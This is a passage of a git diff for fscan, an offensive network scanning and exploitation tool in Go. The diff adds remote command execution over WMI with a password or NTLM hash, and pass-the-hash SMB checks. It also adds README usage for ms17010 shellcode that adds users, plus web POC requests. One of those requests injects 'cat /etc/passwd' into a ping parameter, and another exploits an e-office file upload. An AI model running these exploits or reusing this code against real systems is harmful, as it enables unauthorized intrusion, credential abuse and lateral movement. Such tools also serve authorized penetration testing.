*wmiexec.WmiExecConfig) (flag bool, err error) { + if cfgIn == nil { + cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil) + if err1 != nil { + err = err1 + return + } + cfgIn = &cfg + } + execer := wmiexec.NewExecer(cfgIn) + err = execer.SetTargetBinding(binding) + if err != nil { + return + } + + err = execer.Auth() + if err != nil { + return + } + flag = true + + if command != "" { + command = "C:\\Windows\\system32\\cmd.exe /c " + command + if execer.TargetRPCPort == 0 { + err = errors.New("RPC Port is 0, cannot connect") + return + } + + err = execer.RPCConnect() + if err != nil { + return + } + err = execer.Exec(command) + if err != nil { + return + } + } + return +} diff --git a/README.md b/README.md index b61cff3..e3ed4ef 100644 --- a/README.md +++ b/README.md @@ -54,14 +54,18 @@ fscan.exe -hf ip.txt (以文件导入) fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080) fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量) fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描) -fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 +fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080 (只支持简单tcp功能的代理,部分功能的库不支持设置代理) fscan.exe -h 192.168.1.1/24 -m ms17010 -sc add (内置添加用户等功能,只适用于备选工具,更推荐其他ms17010的专项利用工具) +fscan.exe -h 192.168.1.1/24 -m smb2 -user admin -hash xxxxx (pth hash碰撞,xxxx:ntlmhash,如32ed87bdb5fdc5e9cba88547376818d4) +fscan.exe -h 192.168.1.1/24 -m wmiexec -user admin -pwd password -c xxxxx(wmiexec无回显命令执行) ``` 编译命令 ``` go build -ldflags="-s -w " -trimpath main.go upx -9 fscan.exe (可选,压缩体积) ``` +arch用户安装 +`yay -S fscan-git 或者 paru -S fscan-git` 完整参数 ``` @@ -207,6 +211,7 @@ https://github.com/jjf012/gopoc # 10. 最近更新 +[+] 2022/11/19 加入hash碰撞、wmiiexec无回显命令执行 [+] 2022/7/14 -hf 支持host:port和host/xx:port格式,rule.Search 正则匹配范围从body改成header+body,-nobr不再包含-nopoc.优化webtitle 输出格式 [+] 2022/7/6 加入手工gc回收,尝试节省无用内存。 -url 支持逗号隔开。 修复一个poc模块bug。-nobr不再包含-nopoc。 [+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 9a2e873..99bacd6 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -40,10 +40,13 @@ func Execute(PocInfo common.PocInfo) { common.LogError(errlog) return } - req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") + req.Header.Set("User-agent", common.UserAgent) + req.Header.Set("Accept", common.Accept) + req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") if common.Cookie != "" { req.Header.Set("Cookie", common.Cookie) } + req.Header.Set("Connection", "close") pocs := filterPoc(PocInfo.PocName) lib.CheckMultiPoc(req, pocs, common.PocNum) } diff --git a/WebScan/info/rules.go b/WebScan/info/rules.go index e14b4cc..e0103ad 100644 --- a/WebScan/info/rules.go +++ b/WebScan/info/rules.go @@ -250,7 +250,6 @@ var RuleDatas = []RuleData{ {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, {"CMS", "code", "(Powered by .*CMS)"}, {"目录遍历", "code", "(Directory listing for /)"}, - {"ATLASSIAN-Confluence", "code", "(confluence.)"}, {"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"}, {"Kubernetes", "code", "(Kubernetes Dashboard|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"}, {"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress)"}, diff --git a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml index 4074d22..8c407e9 100644 --- a/WebScan/pocs/Hotel-Internet-Manage-RCE.yml +++ b/WebScan/pocs/Hotel-Internet-Manage-RCE.yml @@ -2,9 +2,6 @@ name: Hotel-Internet-Manage-RCE rules: - method: GET path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1" - headers: - User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36" - Accept-Encoding: "gzip,deflate" expression: | response.status == 200 && response.body.bcontains(b"parent.doTestResult") detail: @@ -12,4 +9,3 @@ detail: Affected Version: "Hotel Internet Billing & Operation Support System" links: - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8 - \ No newline at end of file diff --git a/WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml b/WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml index 85da964..9dc9d0e 100644 --- a/WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml +++ b/WebScan/pocs/e-office-v9-upload-cnvd-2021-49104.yml @@ -1,23 +1,22 @@ -name: poc-yaml-e-office-v9-upload-cnvd-2021-49104 -manual: true -transport: http +name: e-office-v9-upload-cnvd-2021-49104 set: r1: randomLowercase(8) rules: - method: POST path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= headers: - Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 - body: "--e64bdf16c554bbc109cecef6451c26a4\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"test.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n--e64bdf16c554bbc109cecef6451c26a4--\r\n\r\n" - follow_redirects: true - expression: | - response.status == 200 && response.body.bcontains(b"logo-eoffice") + Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 + body: |- + --e64bdf16c554bbc109cecef6451c26a4 + Content-Disposition: form-data; name="Filedata"; filename="test.txt" + Content-Type: image/jpeg + {{r1}} + --e64bdf16c554bbc109cecef6451c26a4-- + expression: response.status == 200 && response.body.bcontains(b"logo-eoffice") - method: GET - path: /images/logo/logo-eoffice.php - follow_redirects: true - expression: | - response.status == 200 && response.body.bcontains(bytes(r1)) + path: /images/logo/logo-eoffice.txt + expression: response.status == 200 && response.body.bcontains(bytes(r1)) detail: - author: we1x4n + author: szd790056181 links: - - https://blog.csdn.net/weixin_44309905/article/details/121588557 + - http://www.ctfiot.com/13682.html diff --git a/common/Parse.go b/common/Parse.go index d4cde12..1eebb27 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -2,8 +2,10 @@ package common import ( "bufio" + "encoding/hex" "flag" "fmt" + "net/url" "os" "os/exec" "path/filepath" @@ -137,7 +139,7 @@ func ParseInput(Info *HostInfo) { } if TmpOutputfile != "" { - if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) { + if !strings.Contains(TmpOutputfile, "/") && !strings.Contains(TmpOutputfile, `\`) { Outputfile = getpath() + TmpOutputfile } else { Outputfile = TmpOutputfile @@ -174,9 +176,52 @@ func ParseInput(Info *HostInfo) { Passwords = RemoveDuplicate(Passwords) } if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") { - Socks5Proxy = "socks5://" + Socks5Proxy + if !strings.Contains(Socks5Proxy, ":") { + Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy + } else { + Socks5Proxy = "socks5://" + Socks5Proxy + } + } + if Socks5Proxy != "" { + fmt.Println("Socks5Proxy:", Socks5Proxy) + _, err := url.Parse(Socks5Proxy) + if err != nil { + fmt.Println("Socks5Proxy parse error:", err) + os.Exit(0) + } NoPing = true } + if Proxy != "" { + if Proxy == "1" { + Proxy = "http://127.0.0.1:8080" + } else if Proxy == "2" { + Proxy = "socks5://127.0.0.1:1080" + } else if !strings.Contains(Proxy, "://") { + Proxy = "http://127.0.0.1:" + Proxy + } + fmt.Println("Proxy:", Proxy) + if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { + fmt.Println("no support this proxy") + os.Exit(0) + } + _, err := url.Parse(Proxy) + if err != nil { + fmt.Println("Proxy parse error:", err) + os.Exit(0) + } + } + + if Hash != "" && len(Hash) != 32 { + fmt.Println("[-] Hash is error,len(hash) must be 32") + os.Exit(0) + } else { + var err error + HashBytes, err = hex.DecodeString(Hash) + if err != nil { + fmt.Println("[-] Hash is error,hex decode error") + os.Exit(0) + } + } } func ParseScantype(Info *HostInfo) { @@ -186,8 +231,16 @@ func ParseScantype(Info *HostInfo) { } if Scantype != "all" && Info.Ports == DefaultPorts+","+Webport { switch Scantype { - case "rdp": - Info.Ports = "3389" + case "wmiexec": + Info.Ports = "135" + case "wmiinfo": + Info.Ports = "135" + case "smbinfo": + Info.Ports = "445" + case "hostname": + Info.Ports = "135,137,139,445" + case "smb2": + Info.Ports = "445" case "web": Info.Ports = Webport case "webonly": diff --git a/common/config.go b/common/config.go index f01721a..d3eb072 100644 --- a/common/config.go +++ b/common/config.go @@ -1,6 +1,6 @@ package common -var version = "1.8.1" +var version = "1.8.2" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, @@ -32,7 +32,10 @@ var PORTList = map[string]int{ "ms17010": 1000001, "cve20200796": 1000002, "web": 1000003, - "webonly": 10000031, + "webonly": 1000003, + "webpoc": 1000003, + "smb2": 1000004, + "wmiexec": 1000005, "all": 0, "portscan": 0, "icmp": 0, @@ -65,8 +68,8 @@ var ( Username string Password string Proxy string - Timeout int64 - WebTimeout int64 + Timeout int64 = 3 + WebTimeout int64 = 5 TmpOutputfile string TmpSave bool NoPing bool @@ -95,10 +98,14 @@ var ( LiveTop int Socks5Proxy string Hash string + HashBytes []byte HostPort []string + IsWmi bool ) var ( + UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36" + Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" DnsLog bool PocNum int PocFull bool diff --git a/common/flag.go b/common/flag.go index f47139c..cd7419a 100644 --- a/common/flag.go +++ b/common/flag.go @@ -42,7 +42,7 @@ func Flag(Info *HostInfo) { flag.StringVar(&UserAdd, "usera", "", "add a user base DefaultUsers,-usera user") flag.StringVar(&PassAdd, "pwda", "", "add a password base DefaultPasses,-pwda password") flag.StringVar(&NoPorts, "pn", "", "the ports no scan,as: -pn 445") - flag.StringVar(&Command, "c", "", "exec command (ssh)") + flag.StringVar(&Command, "c", "", "exec command (ssh|wmiexec)") flag.StringVar(&SshKey, "sshkey", "", "sshkey file (id_rsa)") flag.StringVar(&Domain, "domain", "", "smb domain") flag.StringVar(&Username, "user", "", "username") @@ -79,5 +79,6 @@ func Flag(Info *HostInfo) { flag.BoolVar(&DnsLog, "dns", false, "using dnslog poc") flag.IntVar(&PocNum, "num", 20, "poc rate") flag.StringVar(&SC, "sc", "", "ms17 shellcode,as -sc add") + flag.BoolVar(&IsWmi, "wmi", false, "start wmi") flag.Parse() } diff --git a/go.mod b/go.mod index 767fb90..5d4344d 100644 --- a/go.mod +++ b/go.mod @@ -3,10 +3,12 @@ module github.com/shadow1ng/fscan go 1.16 require ( + github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 github.com/denisenkom/go-mssqldb v0.12.2 github.com/go-sql-driver/mysql v1.6.0 github.com/golang/protobuf v1.3.4 github.com/google/cel-go v0.6.0 + github.com/hirochachacha/go-smb2 v1.1.0 github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 // indirect github.com/jlaffaye/ftp v0.0.0-20220630165035-11536801d1ff github.com/lib/pq v1.10.6 @@ -19,6 +21,9 @@ require ( golang.org/x/text v0.3.6 google.golang.org/genproto v0.0.0-20200416231807-8751e049a2a0 gopkg.in/yaml.v2 v2.4.0 + gopkg.in/yaml.v3 v3.0.1 ) replace github.com/tomatome/grdp v0.0.0-20211231062539-be8adab7eaf3 => github.com/shadow1ng/grdp v1.0.3 + +replace github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 => github.com/shadow1ng/goWMIExec v0.0.2 diff --git a/go.sum b/go.sum index 2df01ac..a4f4d4f 100644 --- a/go.sum +++ b/go.sum @@ -14,6 +14,7 @@ dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7 github.com/Azure/azure-sdk-for-go/sdk/azcore v0.19.0/go.mod h1:h6H6c8enJmmocHUbLiiGY6sx7f9i+X3m1CHdd5c6Rdw= github.com/Azure/azure-sdk-for-go/sdk/azidentity v0.11.0/go.mod h1:HcM1YX14R7CJcghJGOYCgdezslRSVzqwLf/q+4Y2r/0= github.com/Azure/azure-sdk-for-go/sdk/internal v0.7.0/go.mod h1:yqy467j36fJxcRV2TzfVZ1pCb5vxm4BtZPUdYWe/Xo8= +github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= @@ -50,6 +51,8 @@ github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7 github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= +github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= +github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/go-gl/gl v0.0.0-20181026044259-55b76b7df9d2/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk= @@ -132,6 +135,8 @@ github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ= github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I= github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= +github.com/hirochachacha/go-smb2 v1.1.0 h1:b6hs9qKIql9eVXAiN0M2wSFY5xnhbHAQoCwRKbaRTZI= +github.com/hirochachacha/go-smb2 v1.1.0/go.mod h1:8F1A4d5EZzrGu5R7PU163UcMRDJQl4FtcxjBfsY8TZE= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY= github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc= @@ -181,6 +186,7 @@ github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FI github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pkg/browser v0.0.0-20180916011732-0a3d74bf9ce4/go.mod h1:4OwLy04Bl9Ef3GJJCoec+30X3LQs/0/m4HFRt/2LUSA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= +github.com/pkg/errors v0.8.1 h1:iURUrRGxPUNPdy5/HRSm+Yj6okJ6UtLINN0Q9M4+h3I= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= @@ -202,6 +208,8 @@ github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb github.com/satori/go.uuid v1.2.0 h1:0uYX9dsZ2yD7q2RtLRtPSdGDWzjeM3TbMJP9utgA0ww= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= +github.com/shadow1ng/goWMIExec v0.0.2 h1:tZdno/F0JVwwpX34fidRqnT7lvobUgelyb/wWd7YgcM= +github.com/shadow1ng/goWMIExec v0.0.2/go.mod h1:SWfWb5+XTfacyp4OULdNsxOdsQTjFEpAUEn5JGTCMIA= github.com/shadow1ng/grdp v1.0.3 h1:d29xgHDK4aa3ljm/e/yThdJxygf26zJyRPBunrWT65k= github.com/shadow1ng/grdp v1.0.3/go.mod h1:3ZMSLWUvPOwoRr6IwpAQCzKbLEZqT80sbyxxe6YgcTg= github.com/shurcooL/go v0.0.0-20200502201357-93f07166e636/go.mod h1:TDJrrUr11Vxrven61rcy3hJMUqaf/CLWYhHNPmT14Lk= @@ -229,6 +237,7 @@ github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+ github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= @@ -244,15 +253,25 @@ go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU= go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8= go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE= +go.uber.org/atomic v1.5.0 h1:OI5t8sDa1Or+q8AeE+yKeB/SDYioSHAgcVljj9JIETY= +go.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ= go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/multierr v1.3.0 h1:sFPn2GLc3poCkfrpIXGhBD2X0CMIo4Q/zSULXrj/+uc= +go.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4= +go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee h1:0mgffUl7nfd+FpvXMVz4IDEaUSmT1ysygQC7qYo7sG4= +go.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA= go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +go.uber.org/zap v1.14.0 h1:/pduUoebOeeJzTDFuoMgC6nRkiasr1sBCIEorly7m4o= +go.uber.org/zap v1.14.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM= golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200221231518-2aa609cf4a9d/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a h1:kr2P4QFmQr29mSLA43kwrOcgcReGTfbE9N577tCTuBc= @@ -273,12 +292,14 @@ golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTk golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de h1:5hukYrvBGR8/eNkX5mdUezrA6JiaEZDtJb9Ei+1LlBs= golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.3.0 h1:RM4zey1++hCTbCVQfnWeKs9/IEsaBLA8vTkd0WVtmH4= golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -357,12 +378,16 @@ golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgw golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.0 h1:po9/4sTYwZU9lPhi1tOrb4hCv3qrhiQ77LZfGa2OjwY= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= @@ -415,5 +440,6 @@ honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.1-2019.2.3 h1:3JgtbtFHMiCmsznwGVTUWbgGov+pVqnlf1dEJTNAXeM= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=